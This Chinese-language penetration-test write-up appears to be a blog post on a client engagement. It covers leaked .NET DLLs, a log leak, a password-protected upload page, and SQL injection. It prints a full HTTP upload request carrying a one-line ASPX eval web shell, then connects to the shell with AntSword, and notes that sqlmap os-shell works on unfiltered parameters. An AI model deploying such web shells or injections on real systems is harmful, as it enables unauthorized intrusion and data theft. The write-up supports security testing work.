前言
某次项目中客户要求在互联网侧进行渗透测试,奈何肝了两天也没找到个高危漏洞,没办法太菜了。
偶然间端口扫描后,扫目录发现了两个bin.rar,这下和客户有得交代了!!!
image-20240222171901823
解压后为多个dll文件,使用ILspy进行反编译Android.dll
image-20240222171920337
代码审计
开始 .net代码审计
截图
image-20240222171947564
日志泄露
代码审计后发现存在一个 log.txt 日志泄露 记录着请求日志
image-20240222171959681
image-20240222172017042
未授权文件上传服务
image-20240222172109037
访问 http://xx.xx.xx.xx/UploadByFile.aspx
通过读源码已经给出了上传密码lk,输入密码后可以上传到人员指定目录下
image-20240222172122212
任意文件上传
image-20240222172142497
构造文件上传数据包进行fuzz 会上传到/UpPhoto 目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /UploadAndroid.aspx HTTP/1.1 Host: xx.xx.xx.xx:8500 Content-Length: 345 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGxb4OzDF9eaemiFU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh,zh-CN;q=0.9 Connection: close
------WebKitFormBoundaryGxb4OzDF9eaemiFU Content-Disposition: form-data; name="upload"; filename="1.aspx" Content-Type: image/jpeg
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%> ------WebKitFormBoundaryGxb4OzDF9eaemiFU
|
image-20240222172158143
上传成功连接蚁剑 getshell
image-20240222172210227
SQL注入
两个泄露的dll中都存在很多sql注入,没有进行过滤处理,推测这两个端口服务均为API接口
image-20240222172224240
此处 strYear 未经过处理 存在sql注入
http://xx.xx.xx.xx:85/GetInfoxxxx.aspx?year=2
还存在其他多处注入点
image-20240222172236311
image-20240222172248521
在另一处端口代码泄露中也存在多处sql注入
未经过处理的地方很多就不在列举。。。基本上strXX、XXID、year、data都可以注入
image-20240222172300435
image-20240222172313086
http://xx.xx.xx.xx:80/XXXX/XXXX/GetFileReviewEdit.aspx?strFWID=1
http://xx.xx.xx.xx:80/XXXX/XXXX/GetFileReviewList.aspx?strName=1
image-20240222172322699
image-20240222172333809
sqlmap可以直接注入获取数据并os-shell
image-20240222172347493
除了以上之外 也有多处敏感信息泄露,这里便不再列举。。